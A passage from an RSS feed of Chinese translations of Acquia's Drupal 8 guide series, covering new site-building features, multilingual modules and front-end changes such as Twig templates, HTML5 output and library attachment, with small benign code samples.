&lt;p&gt;除去Drupal 7中包含的Taxonomy, 图片和文件字段类型之外，Drupal 8添加了一些强大的新字段类型，例如Entity Reference和Date，以及一些常用的字段类型例如电话号码，邮件和链接。甚至连&amp;rdquo;是否允许留言&amp;rdquo;的选项也被迁移成为Field，这使得各种类型的Entity都可以进行留言。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/01782531da24608b76bf1b7efe7174a6.png&#34; alt=&#34;Entity&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##Form模式&lt;/p&gt;

&lt;p&gt;在Drupal 7的&amp;rdquo;模式&amp;rdquo;特性基础上进行扩展，让内容在不同上下文中使用不同的展示模式（例如，在缩略模式中显示缩略图，而在缺省视图中展示全图），Drupal 8新增了Form模式，用于数据录入Form。下面以用户注册Form举例，这一Form同用户编辑界面不同，可以把复杂的字段隐藏起来，简化注册过程。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/0a2c8ecb12885509cd7d46f2f4daa9d4.png&#34; alt=&#34;Manage Form Display&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##教学模式&lt;/p&gt;

&lt;p&gt;Drupal 8带有一个新的教学模块，在管理界面提供了基于上下文的，一步一步的提示，为用户介绍新的术语，并引导用户的站点配置过程。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/55c932b546b97a798a6f2b98b03abd39.png&#34; alt=&#34;TOUR&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##模块调整&lt;/p&gt;

&lt;p&gt;Drupal 8剥掉了Drupal 7中自带的大量模块，包括博客，仪表盘，OpenID, Overlay, PHP Filter, 投票，Profile和Trigger，另外还有Garland主题。当然Drupal 8也增加了很多功能性的新模块，例如Menu Links/ Menu UI，Block/Custom Block，Ban/History/Actions（以前存在于User/Node/System模块中）。&lt;/p&gt;

&lt;p&gt;Heather James的&lt;a href=&#34;https://www.acquia.com/blog/tutorial-drupal-8-site-building-preview-less-more&#34; target=&#34;_blank&#34;&gt;网站搭建预览&lt;/a&gt;
讲述了这些模块的变化。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/48d9f01eddfbf34b960fc7f9fad97213.png&#34; alt=&#34;Module&#34; /&gt;&lt;/p&gt;

&lt;p&gt;结果就是，Drupal 8核心发型版会自带足够的功能性模块，仅凭这些就可以建立足够成熟的站点，而不是首先安装三十多个模块。&lt;/p&gt;

&lt;p&gt;##Migration Path&lt;/p&gt;

&lt;p&gt;目前UI还没有完成，所以目前没有截图可用，在Drupal 8中，主版本升级工作由Drupal 8版本的&lt;a href=&#34;https://drupal.org/project/migrate&#34; target=&#34;_blank&#34;&gt;Migrate&lt;/a&gt;和&lt;a href=&#34;https://drupal.org/project/migrate_d2d&#34; target=&#34;_blank&#34;&gt;Migrate Drupal-to-Drupal&lt;/a&gt;模块完成。在Drupal 8的正式版本中将支持从Drupal 6（已经完成）和Drupal 7（正在开发）的迁移。以前的迁移过程要把站点下线，然后用几个小时的时间运行脚本尝试升级数据库，现在可以在Drupal 6,7站点运行的状态下，建立新的Drupal 8站点，运行Migration Path，直到所有工作都完成，简单的改一下Web root或者DNS记录，即可完成迁移。&lt;/p&gt;

&lt;p&gt;[Moshed的Drupal 8迁移]（&lt;a href=&#34;https://www.acquia.com/blog/d8migrate），这篇博客描述了改进的升级过程。&#34; target=&#34;_blank&#34;&gt;https://www.acquia.com/blog/d8migrate），这篇博客描述了改进的升级过程。&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;##接下来&lt;/p&gt;

&lt;p&gt;下星期，我们将会探讨一下Drupal 8中的多语言方面的进展。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>第四部 多语言支持</title>
      <link>/post/drupal-translation-support/</link>
      <pubDate>Wed, 14 Oct 2015 22:07:57 +0800</pubDate>
      <guid>/post/drupal-translation-support/</guid>
      <description>&lt;p&gt;&lt;em&gt;本文是&lt;a href=&#34;https://www.acquia.com/tags/ultimate-guide-drupal-8&#34; target=&#34;_blank&#34;&gt;Drupal 8终极指南&lt;/a&gt;的第四章&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;在上一节中，我们列举了一些&lt;a href=&#34;https://www.acquia.com/blog/ultimate-guide-drupal-8-episode-3-site-builder-improvements&#34; target=&#34;_blank&#34;&gt;Drupal 8在建站方面的增强&lt;/a&gt;，而关于Drupal 8的新的多语言能力，因其特殊性，我们将用独立一篇的篇幅来描述。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.acquia.com/about-us/team/g-bor-hojtsy&#34; target=&#34;_blank&#34;&gt;Gábor Hojtsy&lt;/a&gt;领导的&lt;a href=&#34;http://www.drupal8multilingual.org/&#34; target=&#34;_blank&#34;&gt;Drupal 8多语言提案&lt;/a&gt;，该计划的&lt;a href=&#34;http://www.drupal8multilingual.org/team&#34; target=&#34;_blank&#34;&gt;参与者&lt;/a&gt;多达千人，是Drupal 8的主要开发焦点之一。本文将抢先报道Drupal 8的多语言站点建设过程。&lt;/p&gt;

&lt;p&gt;（注意，本文的多数内容都是从Gábor的系列大作&lt;a href=&#34;http://hojtsy.hu/multilingual-drupal8&#34; target=&#34;_blank&#34;&gt;Drupal 8多语言花絮&lt;/a&gt;借用而来，所以如果如果你想知道D8MI的全部细节，可以在引文中获得更多信息）。&lt;/p&gt;

&lt;p&gt;##“多语言优先”&lt;/p&gt;

&lt;p&gt;在Drupal 8的安装过程的开始阶段，我们就能看到Drupal 8的多语言界面：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/3a3f455db3de178062623dd3594252aa.png&#34; alt=&#34;Installer&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Drupal 8自动检测浏览器语言，然后自动从下拉列表中选择；更好地是，如果你确定选择一种非英语的语言（或者事后为你的站点新增一种语言），Drupal 8会自动从&lt;a href=&#34;https://localize.drupal.org/&#34; target=&#34;_blank&#34;&gt;https://localize.drupal.org/&lt;/a&gt;下载最新的界面翻译。所以，用户可以在自己的母语环境下完成站点安装和设置。相对Drupal 7用一大篇英文来解释如何下载文件，放到什么目录来说，是一个巨大的进步。&lt;/p&gt;

&lt;p&gt;而且，这一界面还能适应阿拉伯语等的自右向左的对齐方式（当然，Drupal 8还在开发之中，所以有些翻译还是缺失的，如下图所示）&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/2b2418b576231417b3e791f0cf15681f.png&#34; alt=&#34;Right-to-left&#34; /&gt;&lt;/p&gt;

&lt;p&gt;最后，Drupal 8不再将英文作为一个特例。如果选择的不是英文，那么英文选项在站点设置里将不再出现，除非你开启他。同样的，可以把英文进行“翻译”，例如把&amp;rdquo;Log in/Log off&amp;rdquo;转成“Sign in/Sign off”。&lt;/p&gt;

&lt;p&gt;总之，Drupal 8对非英文用户的访问性极大增强了。&lt;/p&gt;

&lt;p&gt;##更少模块，更强功能&lt;/p&gt;

&lt;p&gt;Drupal 7中要简历一个多语言站点需要大概30个模块，以及一大堆繁琐的设置。Drupal 8中，这些功能（甚至更多）被集成到仅仅四个模块中，这使得Drupal 8的多语言功能比Drupal 7更加友好。&lt;/p&gt;

&lt;p&gt;###Language&lt;/p&gt;

&lt;p&gt;Drupal 8多语言功能的基础模块。&lt;/p&gt;

&lt;p&gt;###Configuration Translation&lt;/p&gt;

&lt;p&gt;类似Durpal 7的&lt;a href=&#34;http://drupal.org/project/i18n&#34; target=&#34;_blank&#34;&gt;Internationalization模块&lt;/a&gt;。使Blocks, Menues, Views等元素可进行翻译。&lt;/p&gt;

&lt;p&gt;###Content Translation&lt;/p&gt;

&lt;p&gt;为Nodes, Taxonomy Terms以及评论提供翻译能力（同Drupal 7的核心&amp;rdquo;Content Translation&amp;rdquo;模块不同，更像是&lt;a href=&#34;https://drupal.org/project/entity_translation&#34; target=&#34;_blank&#34;&gt;Entity Translation&lt;/a&gt;模块）。&lt;/p&gt;

&lt;p&gt;###Interface Translation&lt;/p&gt;

&lt;p&gt;翻译Drupal的用户界面（同Drupal 7的Locale核心模块一致）。&lt;/p&gt;

&lt;p&gt;你可能想知道，为什么是四个模块而不是一个？因为非英文的单语言站点也是一种需要考虑的情况，即使是多语言站点，也可能不需要部分功能（例如这样的需求：用户生成的的内容仅使用母语）。这样的模块划分使得站点建设可以依据实际需求对翻译功能进行取舍。&lt;/p&gt;

&lt;p&gt;##随处可选的语言&lt;/p&gt;

&lt;p&gt;从系统配置到Block, Views和菜单等站点组件，甚至是单独的字段值都是可翻译的。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/b33d8750ac61ba261088fe93a80f6c26.png&#34; alt=&#34;Translate&#34; /&gt;&lt;/p&gt;

&lt;p&gt;对于评论，Node, 用户，分类词等“内容”Entity，Drupal 8还提供了更多选项。例如配置语言选择器是否可见，是否把新生成的内容缺省设置为站点的缺省语言，内容编辑的首选语言等。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/79fbf232f7defb325f60769b93c9675c.png&#34; alt=&#34;language every where&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##更集成的翻译界面&lt;/p&gt;

&lt;p&gt;另外，Drupal 8的多语言功能实现过程中，花费了很多精力来增进用户体验。新的高集成度的界面是用户可以更高效率的进行翻译。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/613d365f54f1ebca260f6e3c5c759f39.jpg&#34; alt=&#34;ui&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##音译支持&lt;/p&gt;

&lt;p&gt;最后一个很有用的新特性是把&lt;a href=&#34;https://drupal.org/project/transliteration&#34; target=&#34;_blank&#34;&gt;Transliteration模块&lt;/a&gt;集成进了核心。他会自动的把部分字符例如&amp;rdquo;ç&amp;rdquo;翻译成&amp;rdquo;c&amp;rdquo;，&amp;rdquo;ü&amp;rdquo;翻译成&amp;rdquo;u&amp;rdquo;，这样就生成了更加友好的机读名称，在文件上传，Path和搜索结果等情况下变得更加友好。&lt;/p&gt;

&lt;p&gt;##还有更多&lt;/p&gt;

&lt;p&gt;还有一些对于站点建设者来说值得一提的东西：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;很多核心页面使用的是Views，这样就更加容易进行语言相关的定制了，尤其是管理的Views——添加语言过滤，语言列等，只需要点击鼠标即可。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;同Drupal 7的Entity Translation模块集成不同，Drupal 8的核心内容翻译模块同Search和Search API的协同更好，能获取更多的语言信息。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;语言选择系统支持分离的&amp;rdquo;管理&amp;rdquo;语言，这也是多语言站点管理员的福音。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>第五部 前端开发增强</title>
      <link>/post/drupal-frontend-dev-upgraded/</link>
      <pubDate>Wed, 14 Oct 2015 22:06:54 +0800</pubDate>
      <guid>/post/drupal-frontend-dev-upgraded/</guid>
      <description>&lt;p&gt;欢迎继续阅读&lt;a href=&#34;https://www.acquia.com/tags/ultimate-guide-drupal-8&#34; target=&#34;_blank&#34;&gt;Drupal 8终极指南&lt;/a&gt;系列的第五篇。&lt;/p&gt;

&lt;p&gt;##HTML5&lt;/p&gt;

&lt;p&gt;Drupal 7中，所有的输出都转换为XHTML，而在8中，则转换为HTML5。这意味着nav/main/header/section等Drupal缺省模板中的标记，成为清理Drupal缺省标记的一部分重要工作。&lt;/p&gt;

&lt;p&gt;HTML5带来了新的Form输入类型，包括date/tel和email，这些类型能在移动设备的界面上进行更好地交互（例如电话号码输入框中只显示输入法的数字部分），方便数据的录入。Drupal Form API提供了这些附加类型，方便直接创建这些字段。Drupal 7也可以使用&lt;a href=&#34;https://drupal.org/project/elements&#34; target=&#34;_blank&#34;&gt;Elements&lt;/a&gt;模块来获得类似效果。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/3f314c04407a19def8d1261c0f2466df.png&#34; alt=&#34;Fields on iPhone&#34; /&gt;&lt;/p&gt;

&lt;p&gt;另外，你会发现很多以前需要自行处理的东西例如TextArea的尺寸调整，第一行/最后一行/基数行/偶数行等类，已经有了对应的HTML5/CSS3的处理，Fieldset的折叠功能被替换为detail元素来实现。&lt;/p&gt;

&lt;p&gt;##新的前端库以及辅助工具&lt;/p&gt;

&lt;p&gt;Drupal 5以后就自带jQuery，从7以后开始自带jQuery UI。Drupal 8打包了更多的前端库。例如&lt;a href=&#34;http://modernizr.com/&#34; target=&#34;_blank&#34;&gt;Modernizr&lt;/a&gt;（用于检测浏览器是否支持触摸，或其他一些HTML5/CSS3特性）、&lt;a href=&#34;http://underscorejs.org/&#34; target=&#34;_blank&#34;&gt;Undescore.js&lt;/a&gt;（轻量级JS辅助库）以及&lt;a href=&#34;http://backbonejs.org/&#34; target=&#34;_blank&#34;&gt;Backbone.js&lt;/a&gt;（一个MVC JS框架）。这些附加库集成在一起，使得Drupal能够创建移动友好的，体验丰富的应用，这些库也是前面讲到的编辑体验和移动增强的重要支持。&lt;/p&gt;

&lt;p&gt;##原生Schema.org输出&lt;/p&gt;

&lt;p&gt;Drupal 8的RDF现在输出&lt;a href=&#34;http://schema.org/&#34; target=&#34;_blank&#34;&gt;schema.org&lt;/a&gt;标记，这对搜索引擎优化有很大促进。这能够让Google、Yahoo、Bing以及Yandex这些搜索引擎能够比较容易的获取页面背后的信息，例如内容作者等。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/64d702303d1fa43b831a5deff415a951.png&#34; alt=&#34;Schema.org&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##大大增强的访问性&lt;/p&gt;

&lt;p&gt;Drupal 8继承并发展了&lt;a href=&#34;https://drupal.org/about/accessibility&#34; target=&#34;_blank&#34;&gt;Drupal 7现有的良好访问性&lt;/a&gt;。Drupal 8使用&lt;a href=&#34;http://www.w3.org/WAI/intro/aria&#34; target=&#34;_blank&#34;&gt;WAI-ARIA 属性&lt;/a&gt;来提供富前端体验，包括响应式工具栏以及就地编辑特性。在后端，Drupal 8也提供了很多的&lt;a href=&#34;https://drupal.org/node/1973218&#34; target=&#34;_blank&#34;&gt;JavaScript访问性工具&lt;/a&gt;，来协助开发者提高应用的访问性。并且还有一个“&lt;a href=&#34;https://www.acquia.com/resources/podcasts/acquia-podcast-98-meet-kevin-miller-accessibility-quail&#34; target=&#34;_blank&#34;&gt;利用Quail库进行自动化访问性测试&lt;/a&gt;”的项目正在进行之中。&lt;/p&gt;

&lt;p&gt;这个&lt;a href=&#34;https://www.youtube.com/watch?v=ipOc1km2uEc&#34; target=&#34;_blank&#34;&gt;视频&lt;/a&gt;来自于&lt;a href=&#34;https://prague2013.drupal.org/keynote/dries-buytaert&#34; target=&#34;_blank&#34;&gt;Dries在布拉格DrupalCon的KeyNode&lt;/a&gt;，演示了这些新的访问性功能如何为目标用户进行服务。&lt;/p&gt;

&lt;p&gt;##Twig：新的主题系统&lt;/p&gt;

&lt;p&gt;Drupal 8引入了&lt;a href=&#34;http://twig.sensiolabs.org/&#34; target=&#34;_blank&#34;&gt;Twig&lt;/a&gt;来代替Drupal 7中的模板系统。跟其他类似的模板引擎一样，让具备HTML/CSS背景的人，在没有PHP专家技能的情况下来修改标记。例如，不需要理解嵌套数组和对象的区别，也不需要关注什么时候使用each，一个简单的&lt;strong&gt;{{foo.bar}}&lt;/strong&gt;语句就完成了。简单的条件判断和循环可以用&lt;strong&gt;{% &amp;hellip;%}&lt;/strong&gt;来完成。&lt;/p&gt;

&lt;p&gt;下面的例子来自于page.html.twig(相当于Drupal 7中的page.tpl.php)，其中使用了Twig、HTML5以及一些ARIA支持。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;  &amp;lt;?php
    &amp;lt;main role=&amp;quot;main&amp;quot;&amp;gt;
      &amp;lt;a id=&amp;quot;main-content&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;{# link is in html.html.twig #}

      &amp;lt;div class=&amp;quot;layout-content&amp;quot;&amp;gt;
        {{ page.highlighted }}

        {{ title_prefix }}
        {% if title %}
          &amp;lt;h1&amp;gt;{{ title }}&amp;lt;/h1&amp;gt;
        {% endif %}
        {{ title_suffix }}

        {{ tabs }}

        {% if action_links %}
          &amp;lt;nav class=&amp;quot;action-links&amp;quot;&amp;gt;{{ action_links }}&amp;lt;/nav&amp;gt;
        {% endif %}

        {{ page.content }}

        {{ feed_icons }}
      &amp;lt;/div&amp;gt;{# /.layout-content #}

      {% if page.sidebar_first %}
        &amp;lt;aside class=&amp;quot;layout-sidebar-first&amp;quot; role=&amp;quot;complementary&amp;quot;&amp;gt;
          {{ page.sidebar_first }}
        &amp;lt;/aside&amp;gt;
      {% endif %}

      {% if page.sidebar_second %}
        &amp;lt;aside class=&amp;quot;layout-sidebar-second&amp;quot; role=&amp;quot;complementary&amp;quot;&amp;gt;
          {{ page.sidebar_second }}
        &amp;lt;/aside&amp;gt;
      {% endif %}

    &amp;lt;/main&amp;gt;
  ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可是没有PHP，怎么使用那些变量呢？像平时一样（只不过以前的template.php现在变成了THEME.theme）用*THEME_preprocess_HOOK()*函数来搞定。Twig在表达层和业务逻辑的分离上作出了卓有成效的努力，使得主题层面的可管理性和安全性大大增强（一旦&lt;a href=&#34;https://drupal.org/node/1825952&#34; target=&#34;_blank&#34;&gt;Twig变量自动转义&lt;/a&gt;完成，安全性还将进一步提高）。&lt;/p&gt;

&lt;p&gt;Twig另外还有一个有意思的事情是如果你在settings.php用&lt;strong&gt;$settings[&amp;lsquo;twig_debug&amp;rsquo;] = TRUE&lt;/strong&gt;启用了debug模式，那么Drupal 8生成的标记里面会出现有用的代码说明，用来提醒你要修改的模板在哪个文件，正在使用什么样的&amp;rdquo;theme suggestion&amp;rdquo;来生成标记，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
&amp;lt;div class=&amp;quot;content&amp;quot;&amp;gt;

&amp;lt;!-- THEME DEBUG --&amp;gt;
&amp;lt;!-- CALL: _theme(&#39;node&#39;) --&amp;gt;
&amp;lt;!-- FILE NAME SUGGESTIONS:
   * node--1--full.html.twig
   * node--1.html.twig
   * node--article--full.html.twig
   * node--article.html.twig
   * node--full.html.twig
   x node.html.twig
--&amp;gt;
&amp;lt;!-- BEGIN OUTPUT from &#39;core/themes/bartik/templates/node.html.twig&#39; --&amp;gt;
&amp;lt;article class=&amp;quot;node node--type-article node--promoted node--view-mode-full contextual-region clearfix quickedit-processed&amp;quot; data-history-node-id=&amp;quot;1&amp;quot; data-quickedit-entity-id=&amp;quot;node/1&amp;quot; role=&amp;quot;article&amp;quot; about=&amp;quot;/node/1&amp;quot; typeof=&amp;quot;schema:Article&amp;quot; data-quickedit-entity-instance-id=&amp;quot;0&amp;quot;&amp;gt;
    ...
&amp;lt;/article&amp;gt;

&amp;lt;!-- END OUTPUT from &#39;core/themes/bartik/templates/node.html.twig&#39; --&amp;gt;

      &amp;lt;/div&amp;gt;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这有点像把&lt;a href=&#34;https://drupal.org/project/devel_themer&#34; target=&#34;_blank&#34;&gt;Theme developer&lt;/a&gt;集成到核心一样。&lt;/p&gt;

&lt;p&gt;##唯快不破&lt;/p&gt;

&lt;p&gt;Acquia的性能大师Wim Leers假设，&lt;a href=&#34;http://wimleers.com/article/performance-calendar-2013-making-the-entire-web-fast&#34; target=&#34;_blank&#34;&gt;为领导地位的CMS提速&lt;/a&gt;是为整个Internet提速的最好方法，这意味着，CMS的初始安装就应该具有高性能的配置，而不是让用户自己学习这些技能。在Drupal 8中，我们就在做这种努力。你可能注意到，Drupal 8缺省安装时，CSS JS聚合等特性就已经设置为打开了。&lt;/p&gt;

&lt;p&gt;如果你是一个前端开发者，这对你意味着：Drupal的缺省安装对你来说可能不是一个好的开发环境，除非你手动去关掉这些性能选项（即使Hack掉核心的CSS也没用）。幸运的是，Drupal 8自带了一个&lt;strong&gt;sites/example.settings.local.php&lt;/strong&gt;文件用来完成这个任务。这个文件用硬编码的方式把这些性能选项关掉，所以这个配置文件对开发者是很有用的。只要把这个文件复制成为&lt;strong&gt;sites/default/settings.local.php&lt;/strong&gt;，并在&lt;strong&gt;sites/default/settings.php&lt;/strong&gt;中把下面的行注释掉：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
# if (file_exists(__DIR__ . &#39;/settings.local.php&#39;)) {
#   include __DIR__ . &#39;/settings.local.php&#39;;
# }
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来说说没被注释掉的行，你的新的settings.local.php文件中也有一些关于Twig的选项是缺省关闭的，例如打开debug模式，以及关闭缓存。去掉这些注释很显然会把开发站点变慢，不过也能让Theme开发简单一点，因为对模板的修改能够立即看到了，而不用等着清空缓存。&lt;/p&gt;

&lt;p&gt;另外一个前端性能相关的新闻，为了尽可能提高前端性能，尤其是移动设备的前端性能，Drupal会带着最新版本的jQuery和jQuery UI，相对于普通的JavaScript，这实际上存在很大的差异。缺省Drupal 8安装不会为匿名用户载入任何JavaScript。&lt;/p&gt;

&lt;p&gt;总的说来，性能方面的优化，&lt;a href=&#34;https://drupal.org/node/1744302&#34; target=&#34;_blank&#34;&gt;还有很多工作要做&lt;/a&gt;，Drupal 8将带着有更好的前端性能面世。&lt;/p&gt;

&lt;p&gt;##新的界面元素&lt;/p&gt;

&lt;p&gt;Drupal 8带着很多新的界面元素。包括模态对话框和下拉按钮，在Drupal7和以前的版本中，这两个组件本来是&lt;a href=&#34;http://drupal.org/project/ctools&#34; target=&#34;_blank&#34;&gt;CTools&lt;/a&gt;模块的一部分。Drupal 8还引入了一个概念，“按钮类型”分为“首要”（在Seven主题中渲染为蓝色），以及”危险“（红色），来帮助用户在具有众多选项的时候作出正确选择。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/20707d90d6629667a25bbcef8b5000f0.png&#34; alt=&#34;new element&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##响应式主题&lt;/p&gt;

&lt;p&gt;在&lt;a href=&#34;https://www.acquia.com/blog/ultimate-guide-drupal-8-episode-2-mobile-improvements&#34; target=&#34;_blank&#34;&gt;移动增强&lt;/a&gt;一篇中介绍过，Drupal 8中包含了很多响应式的特性，包含主题，工具栏，图片以及表格等。&lt;/p&gt;

&lt;p&gt;为了支持这些特性，可以在主题中声明&lt;a href=&#34;https://drupal.org/node/1813914&#34; target=&#34;_blank&#34;&gt;Breakpoints&lt;/a&gt;（为了符合浏览器和设备的需要，定义的高度宽度和分辨率），断点可以用来支撑这些多种多样的相应式特性。（然而，注意&lt;a href=&#34;https://www.drupal.org/node/2271529&#34; target=&#34;_blank&#34;&gt;&amp;ldquo;把Breakpoint设置转移到*.info.yml中&amp;rdquo;&lt;/a&gt;）还是一个正在开发中的补丁。&lt;/p&gt;

&lt;p&gt;另外，&lt;a href=&#34;https://drupal.org/node/2260061&#34; target=&#34;_blank&#34;&gt;Drupal 8很可能支持&lt;/a&gt;新的&lt;a href=&#34;http://picture.responsiveimages.org/&#34; target=&#34;_blank&#34;&gt;&lt;strong&gt;&lt;picture&gt;元素&lt;/strong&gt;&lt;/a&gt;，这个元素将会在今年秋天被浏览器支持。会对前端性能有很大增强。针对移动设备来说，会发送小尺寸图片给小屏幕，节省流量和时间。（多谢&lt;a href=&#34;http://www.marcdrummond.com/&#34; target=&#34;_blank&#34;&gt;Marc Drummond&lt;/a&gt;提供了本节内容）&lt;/p&gt;

&lt;p&gt;##选择性添加JS/CSS的新方法&lt;/p&gt;

&lt;p&gt;继续前端性能的话题。过去，如果想要在某个页面加入CSS或者JS，需要使用&lt;strong&gt;drupal_add_css()&lt;/strong&gt;以及&lt;strong&gt;drupal_add_js()&lt;/strong&gt;函数。现在只要在渲染数组中加入&lt;strong&gt;#attached&lt;/strong&gt;属性就可以了，例如：&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;seven.theme&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;function seven_form_node_form_alter(&amp;amp;$form, &amp;amp;$form_state) {
...
  $form[&#39;#attached&#39;] = array(
    &#39;css&#39; =&amp;gt; array(drupal_get_path(&#39;module&#39;, &#39;node&#39;) . &#39;/css/node.module.css&#39;),
  );
...
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;着对于一次性的使用很有帮助，而且没有什么依赖，更通用并且推荐的方式是在你的MODULE/THEME.libraries.yml中注册一个或多个CSS/JS项目，然后在&lt;strong&gt;#attached&lt;/strong&gt;属性中添加一个引用。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;seven.libraries.yml&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;maintenance-page:
    version: VERSION
    js:
      js/mobile.install.js: {}
    css:
      theme:
        maintenance-page.css: {}
    dependencies:
      - system/maintenance&lt;/p&gt;

&lt;p&gt;install-page:
    version: VERSION
    js:
      js/mobile.install.js: {}
    css:
      theme:
        install-page.css: {}
    dependencies:
      - system/maintenance&lt;/p&gt;

&lt;p&gt;drupal.nav-tabs:
    version: VERSION
    js:
      js/nav-tabs.js: {}
    dependencies:
      - core/matchmedia
      - core/jquery
      - core/drupal
      - core/jquery.once
      - core/jquery.intrinsic&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;seven.theme&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
function seven_preprocess_install_page(&amp;amp;$variables) {
  // ...
  $libraries = array(
    &#39;#attached&#39; =&amp;gt; array(
      &#39;library&#39; =&amp;gt; array(
        &#39;seven/maintenance-page&#39;,
        &#39;seven/install-page&#39;,
      ),
    ),
  );
  drupal_render($libraries);
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这种方式看起来不如&lt;strong&gt;drupal_add_foo()&lt;/strong&gt;的方式直观，但是这意味着这些内容可以被缓存从而提高性能，可以容易的在不同地方进行重用。&lt;/p&gt;

&lt;p&gt;##安息吧，IE678&lt;/p&gt;

&lt;p&gt;最后，来一个忧郁的结尾，最大一个对前端开发者而言的进步就是，Drupal 8核心已经放弃了对IE 6-8的支持，启用了jQuery 2.0以及现代的HTML5/CSS3的浏览器支持（还在讨论关于&lt;a href=&#34;https://drupal.org/node/2286601&#34; target=&#34;_blank&#34;&gt;停止对Android 2.3以及更旧版本的支持&lt;/a&gt;的问题）。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://code.google.com/p/html5shiv/&#34; target=&#34;_blank&#34;&gt;html5shiv&lt;/a&gt;（一个为兼容性差的浏览器准备的HTML5处理器）也包含在Drupal 8中，这使得IE 8之类的浏览器不会完全坏掉， 还有个&lt;a href=&#34;https://drupal.org/project/ie8&#34; target=&#34;_blank&#34;&gt;IE8项目&lt;/a&gt;被提供给必须支持IE8的开发者们。&lt;/p&gt;

&lt;p&gt;我们正在寻找简洁有效的前端代码，而不想为5岁以上的浏览器担忧。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/7f272df0fbdac9d44002ee71dab75389.jpg&#34; alt=&#34;IE WANTED&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##还有更多&lt;/p&gt;

&lt;p&gt;Drupal 8还在开发之中，连Beta还没开始，有些API还没能够最终确定（RC之前这些修饰类的事情都不会停止）。前端还有些编码和复审之类的大事需要做。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;前端的事情还没有完全完成（提示：这里有个学习Twig的好机会），&lt;a href=&#34;https://drupal.org/node/1757550&#34; target=&#34;_blank&#34;&gt;向Twig模板移植所有核心主题功能&lt;/a&gt;这一工作还在持续进行中，除了很罕见的性能相关的一些问题之外，主题的工作和从前并无不同。这一工作将会使主题制作过程更加直观，原因是降低了对设计师PHP水平的要求，而让设计师绝大多数工作完全集中在一些小标记中。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://drupal.org/node/507488&#34; target=&#34;_blank&#34;&gt;把页面元素（包括标题、TAB、Actions以及Messages）转换为Block&lt;/a&gt;以及&lt;a href=&#34;https://drupal.org/node/474004&#34; target=&#34;_blank&#34;&gt;把Menu_block模块功能嵌入核心&lt;/a&gt;会去掉那些看起来很奇怪的变量。统一的页面元素将会以Block的形式统一呈现。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://drupal.org/node/1980004&#34; target=&#34;_blank&#34;&gt;Dream Markup&lt;/a&gt;（梦之标么。。——译者喝多了）项目尝试去掉Drupal所有麻烦的标记（尤其是DIV）。这一活动在奥斯汀DrupalCon中形成了一份提议：&lt;a href=&#34;https://www.drupal.org/node/2289511&#34; target=&#34;_blank&#34;&gt;《剥掉所有Drupal核心中的缺省标记》&lt;/a&gt;，这份提议建议移除所有多余的东西，提供一份仅包含有用的类和包装的基础主题。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;还是在奥斯汀DrupalCon，&lt;a href=&#34;https://groups.drupal.org/headless-drupal&#34; target=&#34;_blank&#34;&gt;Headless Drupal&lt;/a&gt;提出，希望能够使用完全自定义的前端框架，例如Angular JS。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;##这是一个转折&lt;/p&gt;

&lt;p&gt;下一次，我们将会讲一些Drupal 8中的后端开发的特性。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>从请求到响应：Drupal 8 机制概览</title>
